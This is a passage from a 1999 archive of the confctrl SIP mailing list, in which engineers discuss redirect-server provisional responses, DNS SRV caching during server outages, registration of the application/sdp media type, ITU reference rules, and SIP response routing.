	by nausicaa.coritel.it (8.9.3/8.9.3) with SMTP id MAA04691
	for <confctrl@isi.edu>; Fri, 3 Sep 1999 12:23:01 +0200 (MET DST)
Message-ID: <002b01bef5fa$bf537760$33f2cdc1@coritel.it>
From: "Shary" <shary@coritel.it>
To: "SIPML" <confctrl@ISI.EDU>
Subject: A doubt
Date: Fri, 3 Sep 1999 12:54:50 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello ,
I have a simple question:
does a redirect server generate 1xx responses ???


From confctrl-owner  Fri Sep  3 07:54:47 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA25739
	for confctrl-outgoing; Fri, 3 Sep 1999 07:54:47 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA25734
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 07:54:45 -0700 (PDT)
Received: from bounty.cisco.com (bounty.cisco.com [161.44.2.72])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA17072
	for <confctrl@ISI.EDU>; Fri, 3 Sep 1999 07:54:43 -0700 (PDT)
Received: from cisco.com (localhost [127.0.0.1])
	by bounty.cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id KAA05093
	for <confctrl@ISI.EDU>; Fri, 3 Sep 1999 10:54:12 -0400 (EDT)
Message-ID: <37CFE114.E425F58A@cisco.com>
Date: Fri, 03 Sep 1999 10:54:12 -0400
From: Sudipto Mukherjee <sudiptom@cisco.com>
Organization: Cisco
X-Mailer: Mozilla 4.51C-CISCOENG [en] (X11; U; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Question about availability of SIP Servers and DNS SRV RRs
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Refering to the Section D of the SIP RFC2543 - "Using SRV DNS Records"

" A client may cache a successful DNS query result. A successful
query is one which contained records in the answer and a server
was contacted at one of the addresses from the answer. When the
client wishes to send a request to the same host, it starts the
search as if it had just received this answer from the name
server. The server uses the procedure specified in RFC1035 regarding
cache invalidation when the time-to-live of the DNS result
expires."

This scenario is applicable for UDP based SIP UA -

My question is, say for TTL value of 3600 (1 Hour), DNS Server
caches in the results. However during this time, one or all
the SIP (Redirect or Proxy) servers goes down. During a SIP Call,
the SIP UAC might end up selecting the server which is down.

This shall result in timing out after 6 retries of INVITE,
before  trying another SIP server. This might not be
acceptable as the call setup times increase.
The calls using the OOS server will continue to have high
call setup time, till the DNS entries gets refreshed.

Setting to TTL to ZERO which prevents caching of entries, might help
but has performance issues.

Is there any means to purge a DNS Resource Record (RR) from the
DNS Server, for a Server which has gone Out Of Service (OOS) ?
Is it possible to refresh the DNS cache before the TTL has expired ?

This will help because the SIP UAC will not select the OOS
SIP Server.

Thanks
Sudipto

From confctrl-owner  Fri Sep  3 08:23:28 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26768
	for confctrl-outgoing; Fri, 3 Sep 1999 08:23:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26763
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 08:23:26 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18976
	for <confctrl@ISI.EDU>; Fri, 3 Sep 1999 08:23:25 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA08650;
	Fri, 3 Sep 1999 10:21:13 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA20011;
	Fri, 3 Sep 1999 10:21:10 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA21688; Fri, 3 Sep 1999 10:21:09 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id KAA05854;
	Fri, 3 Sep 1999 10:21:06 -0500 (CDT)
Message-Id: <199909031521.KAA05854@b04a24.exu.ericsson.se>
Subject: Re: A doubt
To: shary@coritel.it (Shary)
Date: Fri, 3 Sep 1999 10:21:05 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <002b01bef5fa$bf537760$33f2cdc1@coritel.it> from "Shary" at Sep 3, 99 12:54:50 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I have a simple question:
>does a redirect server generate 1xx responses ???

Yes, it can. It doesn't *have* to, but it can.
Look over RFC2543, section 7.1.

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Sep  3 09:16:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA28760
	for confctrl-outgoing; Fri, 3 Sep 1999 09:16:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA28755
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 09:16:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA23565
	for <confctrl@isi.edu>; Fri, 3 Sep 1999 09:16:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Sep  3 12:14:50 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.118])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id MAA03440;
	Fri, 3 Sep 1999 12:14:49 -0400 (EDT)
Message-ID: <37CFF44F.570A02C6@bell-labs.com>
Date: Fri, 03 Sep 1999 12:16:15 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Shary <shary@coritel.it>
CC: SIPML <confctrl@ISI.EDU>
Subject: Re: A doubt
References: <002b01bef5fa$bf537760$33f2cdc1@coritel.it>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Shary wrote:
> 
> Hello ,
> I have a simple question:
> does a redirect server generate 1xx responses ???

If it wants to, sure. If its going to respond to the request before
500ms, there is no need. If the redirection is going to take a while to
compute, it should send a provisional to stop request retransmissions.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Sep  3 09:44:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA29974
	for confctrl-outgoing; Fri, 3 Sep 1999 09:44:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA29969
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 09:44:05 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA26973
	for <confctrl@isi.edu>; Fri, 3 Sep 1999 09:44:04 -0700 (PDT)
Received: from bronx.dnrc.bell-labs.com ([135.180.160.8]) by crufty; Fri Sep  3 12:42:53 EDT 1999
Received: from cs.columbia.edu (ume [135.180.240.103])
	by bronx.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id MAA11382;
	Fri, 3 Sep 1999 12:42:54 -0400 (EDT)
Message-ID: <37CFFA8D.BDE5BE80@cs.columbia.edu>
Date: Fri, 03 Sep 1999 12:42:53 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.05 [en] (WinNT; U)
MIME-Version: 1.0
To: confctrl@ISI.EDU, rem-conf@es.net
Subject: [Fwd: Request for MIME media type Application/IETF Tree - sdp]
Content-Type: multipart/mixed; boundary="------------41496A8C3947AE8854219D9E"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------41496A8C3947AE8854219D9E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

FYI.
--------------41496A8C3947AE8854219D9E
Content-Type: message/rfc822
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA13504
	for <hgs@opus.cs.columbia.edu>; Fri, 3 Sep 1999 12:27:39 -0400 (EDT)
Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA02404
	for <hgs@cs.columbia.edu>; Fri, 3 Sep 1999 12:27:38 -0400 (EDT)
Received: from icann1 (icann1.isi.edu [128.9.160.34])
	by boreas.isi.edu (8.8.7/8.8.6) with SMTP id JAA23461;
	Fri, 3 Sep 1999 09:27:37 -0700 (PDT)
Reply-To: <iana@iana.org>
From: "IANA" <iana@ISI.EDU>
To: <hgs@cs.columbia.edu>
Cc: "'iana'" <iana@iana.org>, <ietf-types@uninett.no>
Subject: RE: Request for MIME media type Application/IETF Tree - sdp
Date: Fri, 3 Sep 1999 09:33:28 -0700
Message-ID: <002b01bef62a$0fa6c6c0$22a00980@icann1.isi.edu>
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
Importance: Normal
In-Reply-To: <199907311341.GAA01800@www.isi.edu>
Content-Type: text/plain;
	charset="iso-8859-1"

Henning,

We have registered the following MIME Media type with RFC 2327 as the point
of contact:

	application/sdp

Thank you.

Josh Elliott, Administrator

***************************************************************
Internet Assigned Numbers Authority (IANA)
4676 Admiralty Way, Suite 330
Marina del Rey, California 90292

Voice: (310) 823-9358 x12
FAX:   (310) 823-8649
email: iana@iana.org
***************************************************************



--------------41496A8C3947AE8854219D9E--


From confctrl-owner  Fri Sep  3 15:09:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA12321
	for confctrl-outgoing; Fri, 3 Sep 1999 15:09:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12316
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 15:09:11 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA06701
	for <confctrl@ISI.EDU>; Fri, 3 Sep 1999 15:09:10 -0700 (PDT)
Received: from chsharp-tecra (ams-vpdn-client-134.cisco.com [144.254.46.135]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id PAA19443; Fri, 3 Sep 1999 15:08:05 -0700 (PDT)
Message-Id: <4.2.0.58.19990903235016.00c78540@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Fri, 03 Sep 1999 23:50:25 +0200
To: Henning Schulzrinne <hgs@cs.columbia.edu>, confctrl@ISI.EDU,
        rem-conf@es.net
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: [Fwd: Request for MIME media type Application/IETF Tree -
  sdp]
In-Reply-To: <37CFFA8D.BDE5BE80@cs.columbia.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks.
Chip
At 12:42 PM 9/3/99 -0400, Henning Schulzrinne wrote:
>FYI.Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
>         by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA13504
>         for <hgs@opus.cs.columbia.edu>; Fri, 3 Sep 1999 12:27:39 -0400 (EDT)
>Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161])
>         by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA02404
>         for <hgs@cs.columbia.edu>; Fri, 3 Sep 1999 12:27:38 -0400 (EDT)
>Received: from icann1 (icann1.isi.edu [128.9.160.34])
>         by boreas.isi.edu (8.8.7/8.8.6) with SMTP id JAA23461;
>         Fri, 3 Sep 1999 09:27:37 -0700 (PDT)
>Reply-To: <iana@iana.org>
>From: "IANA" <iana@ISI.EDU>
>To: <hgs@cs.columbia.edu>
>Cc: "'iana'" <iana@iana.org>, <ietf-types@uninett.no>
>Subject: RE: Request for MIME media type Application/IETF Tree - sdp
>Date: Fri, 3 Sep 1999 09:33:28 -0700
>Message-ID: <002b01bef62a$0fa6c6c0$22a00980@icann1.isi.edu>
>MIME-Version: 1.0
>X-Priority: 3 (Normal)
>X-MSMail-Priority: Normal
>X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
>X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
>Importance: Normal
>In-Reply-To: <199907311341.GAA01800@www.isi.edu>
>Content-Type: text/plain;
>         charset="iso-8859-1"
>Content-Transfer-Encoding: 7bit
>
>Henning,
>
>We have registered the following MIME Media type with RFC 2327 as the point
>of contact:
>
>         application/sdp
>
>Thank you.
>
>Josh Elliott, Administrator
>
>***************************************************************
>Internet Assigned Numbers Authority (IANA)
>4676 Admiralty Way, Suite 330
>Marina del Rey, California 90292
>
>Voice: (310) 823-9358 x12
>FAX:   (310) 823-8649
>email: iana@iana.org
>***************************************************************

--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.			
--------------------------------------------------

From confctrl-owner  Fri Sep  3 15:13:36 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA12479
	for confctrl-outgoing; Fri, 3 Sep 1999 15:13:36 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA12474
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 15:13:34 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA07262
	for <confctrl@ISI.EDU>; Fri, 3 Sep 1999 15:13:33 -0700 (PDT)
Received: from chsharp-tecra (ams-vpdn-client-134.cisco.com [144.254.46.135]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id PAA20606 for <confctrl@ISI.EDU>; Fri, 3 Sep 1999 15:13:00 -0700 (PDT)
Message-Id: <4.2.0.58.19990903235028.00c7eb20@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Sat, 04 Sep 1999 00:08:33 +0200
To: confctrl@ISI.EDU
From: Chip Sharp <chsharp@cisco.com>
Subject: I-D in the SDP References
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There is currently an I-D referenced in the SDP RFC.  This may not seem 
important, but the ITU cannot reference SDP in an ITU standard unless all 
of its references are RFCs.

If we rev the references, do we need to republish SDP with a new number.

Chip
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.			
--------------------------------------------------

From confctrl-owner  Fri Sep  3 19:42:07 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id TAA20545
	for confctrl-outgoing; Fri, 3 Sep 1999 19:42:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id TAA20540
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 19:42:05 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id TAA25203
	for <confctrl@isi.edu>; Fri, 3 Sep 1999 19:42:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Fri Sep  3 22:40:17 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.118])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id WAA12317;
	Fri, 3 Sep 1999 22:40:16 -0400 (EDT)
Message-ID: <37D086E2.12E4F2BA@bell-labs.com>
Date: Fri, 03 Sep 1999 22:41:38 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Chip Sharp <chsharp@cisco.com>
CC: confctrl@ISI.EDU
Subject: Re: I-D in the SDP References
References: <4.2.0.58.19990903235028.00c7eb20@dogwood.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Chip Sharp wrote:
> 
> There is currently an I-D referenced in the SDP RFC.  This may not seem
> important, but the ITU cannot reference SDP in an ITU standard unless all
> of its references are RFCs.

Even if the references aren't normative?

> 
> If we rev the references, do we need to republish SDP with a new number.

I believe so.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Fri Sep  3 23:42:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id XAA27243
	for confctrl-outgoing; Fri, 3 Sep 1999 23:42:11 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id XAA27238
	for <confctrl@zephyr.isi.edu>; Fri, 3 Sep 1999 23:42:09 -0700 (PDT)
Received: from mailman.cisco.com (mailman.cisco.com [171.68.225.9])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id XAA02554
	for <confctrl@isi.edu>; Fri, 3 Sep 1999 23:42:08 -0700 (PDT)
Received: from chsharp-tecra (ams-vpdn-client-134.cisco.com [144.254.46.135]) by mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id XAA06018; Fri, 3 Sep 1999 23:41:29 -0700 (PDT)
Message-Id: <4.2.0.58.19990904083737.00bb4d50@dogwood.cisco.com>
X-Sender: chsharp@dogwood.cisco.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.58 
Date: Sat, 04 Sep 1999 08:39:55 +0200
To: Jonathan Rosenberg <jdrosen@bell-labs.com>
From: Chip Sharp <chsharp@cisco.com>
Subject: Re: I-D in the SDP References
Cc: confctrl@ISI.EDU
In-Reply-To: <37D086E2.12E4F2BA@bell-labs.com>
References: <4.2.0.58.19990903235028.00c7eb20@dogwood.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At 10:41 PM 9/3/99 -0400, Jonathan Rosenberg wrote:
>Chip Sharp wrote:
> >
> > There is currently an I-D referenced in the SDP RFC.  This may not seem
> > important, but the ITU cannot reference SDP in an ITU standard unless all
> > of its references are RFCs.
>
>Even if the references aren't normative?

That is not so clear.  However, if the ITU recommendation requires SDP to 
operate, shouldn't it be normative?  I know of two such 
recommendations:  H.248 in SG16 and J.web in SG9 (utilizes RTSP to 
"broadcast" over IP).  There could be more in the future.

Chip


> >
> > If we rev the references, do we need to republish SDP with a new number.
>
>I believe so.
>
>-Jonathan R.
>
>--
>Jonathan D. Rosenberg                       Lucent Technologies
>Member of Technical Staff                   101 Crawfords Corner Rd.
>High Speed Networks Research                Holmdel, NJ 07733
>FAX: (732) 834-5379                         Rm. 4C-526
>EMAIL: jdrosen@bell-labs.com
>URL: http://www.cs.columbia.edu/~jdrosen

--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.			
--------------------------------------------------

From confctrl-owner  Sun Sep  5 09:02:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23459
	for confctrl-outgoing; Sun, 5 Sep 1999 09:02:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23453
	for <confctrl@zephyr.isi.edu>; Sun, 5 Sep 1999 09:02:23 -0700 (PDT)
Received: from hotmail.com (f246.hotmail.com [207.82.251.137])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id JAA22948
	for <confctrl@ISI.EDU>; Sun, 5 Sep 1999 09:02:22 -0700 (PDT)
Received: (qmail 26773 invoked by uid 0); 5 Sep 1999 16:01:51 -0000
Message-ID: <19990905160151.26772.qmail@hotmail.com>
Received: from 132.208.136.31 by www.hotmail.com with HTTP;
	Sun, 05 Sep 1999 09:01:51 PDT
X-Originating-IP: [132.208.136.31]
From: "I B" <imortada@hotmail.com>
To: scott.petrack@metatel.com, jdrosen@dnrc.bell-labs.com,
        eussean@exu.ericsson.se, confctrl@ISI.EDU, shbhatna@cisco.com
Subject: bye request.....Question
Date: Sun, 05 Sep 1999 09:01:51 PDT
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


hi,

how can i send a bye request to all the pepole in the session (without 
multicast).

thanks

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com

From confctrl-owner  Mon Sep  6 07:05:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA01398
	for confctrl-outgoing; Mon, 6 Sep 1999 07:05:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA01393
	for <confctrl@zephyr.isi.edu>; Mon, 6 Sep 1999 07:05:10 -0700 (PDT)
Received: from nausicaa.coritel.it ([193.205.242.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA00508
	for <confctrl@isi.edu>; Mon, 6 Sep 1999 07:05:02 -0700 (PDT)
Received: from athena (athena.coritel.it [193.205.242.51])
	by nausicaa.coritel.it (8.9.3/8.9.3) with SMTP id PAA16159
	for <confctrl@isi.edu>; Mon, 6 Sep 1999 15:35:34 +0200 (MET DST)
Message-ID: <001701bef871$308ea440$33f2cdc1@coritel.it>
From: "Shary" <shary@coritel.it>
To: "SIPML" <confctrl@ISI.EDU>
Subject: Some problem with sip responses!!!
Date: Mon, 6 Sep 1999 16:07:43 +0200
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hello,
Let's suppose that A, B,C are 3 proxies connected in the following way:

UAC ---- A
 |       |
 C  ---- B
         |
        UAS

Moreover suppose that UAC send a sip request to UAS, request that passes in
the nodes A and B.  B finds the UAS.
All A, B  have added their "via" field in the request message.
Now, UAS has to send  the response upstream; making the additional
assumption that the path  B - A is down,
UAS has to find another one (for example C - UAC ).
Now, the problem is that ,normally, C would not examine this response
received with a topmost "via" without his addresses !!!!!
So, what about this response???? It will  never arrive to UAC or there are
other mechanisms to tell C to not drop this response?

Thanks in advance for your support..


From confctrl-owner  Mon Sep  6 13:52:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA14199
	for confctrl-outgoing; Mon, 6 Sep 1999 13:52:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA14194
	for <confctrl@zephyr.isi.edu>; Mon, 6 Sep 1999 13:52:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA15737
	for <confctrl@isi.edu>; Mon, 6 Sep 1999 13:52:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Sep  6 16:51:07 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.19])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id QAA05067;
	Mon, 6 Sep 1999 16:51:06 -0400 (EDT)
Message-ID: <37D42991.8AC89A4E@bell-labs.com>
Date: Mon, 06 Sep 1999 16:52:33 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Shary <shary@coritel.it>
CC: SIPML <confctrl@ISI.EDU>
Subject: Re: Some problem with sip responses!!!
References: <001701bef871$308ea440$33f2cdc1@coritel.it>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Shary wrote:
> 
> Hello,
> Let's suppose that A, B,C are 3 proxies connected in the following way:
> 
> UAC ---- A
>  |       |
>  C  ---- B
>          |
>         UAS
> 
> Moreover suppose that UAC send a sip request to UAS, request that passes in
> the nodes A and B.  B finds the UAS.
> All A, B  have added their "via" field in the request message.
> Now, UAS has to send  the response upstream; making the additional
> assumption that the path  B - A is down,
> UAS has to find another one (for example C - UAC ).
> Now, the problem is that ,normally, C would not examine this response
> received with a topmost "via" without his addresses !!!!!
> So, what about this response???? It will  never arrive to UAC or there are
> other mechanisms to tell C to not drop this response?

The response must take the reverse path from the request. This is needed
for proper transactional state maintenance in proxies. SIP has no
provision for routing responses along a different path. So, if B just
dies mid-transaction, pending transactions cannot complete along that
branch. A forking proxy would allow the transaction to complete along a
different branch. A smart server might see some ICMP errors and try a
different next hop server also.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed Sep  8 07:08:05 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA04464
	for confctrl-outgoing; Wed, 8 Sep 1999 07:08:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA04456
	for <confctrl@zephyr.isi.edu>; Wed, 8 Sep 1999 07:08:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA03569
	for <confctrl@isi.edu>; Wed, 8 Sep 1999 07:08:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Wed Sep  8 10:06:46 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.55])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA07146
	for <confctrl@isi.edu>; Wed, 8 Sep 1999 10:06:45 -0400 (EDT)
Message-ID: <37D66DCD.94A6C518@bell-labs.com>
Date: Wed, 08 Sep 1999 10:08:13 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
